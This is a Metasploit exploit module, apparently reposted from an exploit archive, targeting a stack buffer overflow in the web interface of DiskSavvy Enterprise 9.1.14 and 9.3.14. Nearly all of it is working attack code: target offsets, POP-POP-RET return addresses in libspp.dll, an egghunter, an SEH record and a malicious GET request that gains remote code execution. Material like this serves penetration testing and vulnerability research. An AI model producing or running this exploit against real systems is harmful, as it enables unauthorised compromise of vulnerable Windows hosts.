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DiskSavvy Enterprise 9.1.14 / 9.3.14 GET Buffer Overflow

Posted on 21 January 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'DiskSavvy Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
caused by improper bounds checking of the request path in HTTP GET
requests sent to the built-in web server. This module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan' # Metasploit module
],
'References' =>
[
['EDB', '40869']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "x00x09x0ax0dx20",
'Space' => 500
},
'Targets' =>
[
[
'Automatic Targeting',
{
'auto' => true
}
],
[
'DiskSavvy Enterprise v9.1.14',
{
'Offset' => 542,
'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll]
}
],
[
'DiskSavvy Enterprise v9.3.14',
{
'Offset' => 2478,
'Ret' => 0x101142ff # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Dec 01 2016',
'DefaultTarget' => 0))
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)

if res && res.code == 200
version = res.body[/Disk Savvy Enterprise v[^<]*/]
if version
vprint_status("Version detected: #{version}")
if version =~ /9.(1|3).14/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit
mytarget = target

if target['auto']
mytarget = nil

print_status('Automatically detecting the target...')

res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)

if res && res.code == 200
if res.body =~ /Disk Savvy Enterprise v9.1.14/
mytarget = targets[1]
elsif res.body =~ /Disk Savvy Enterprise v9.3.14/
mytarget = targets[2]
end
end

if !mytarget
fail_with(Failure::NoTarget, 'No matching target')
end

print_status("Selected target: #{mytarget.name}")
end

eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)

sploit = make_nops(10)
sploit << egg
sploit << rand_text_alpha(mytarget['Offset'] - egg.length)
sploit << generate_seh_record(mytarget.ret)
sploit << make_nops(8)
sploit << hunter
sploit << rand_text_alpha(4500)

print_status('Sending malicious request...')

send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end

 

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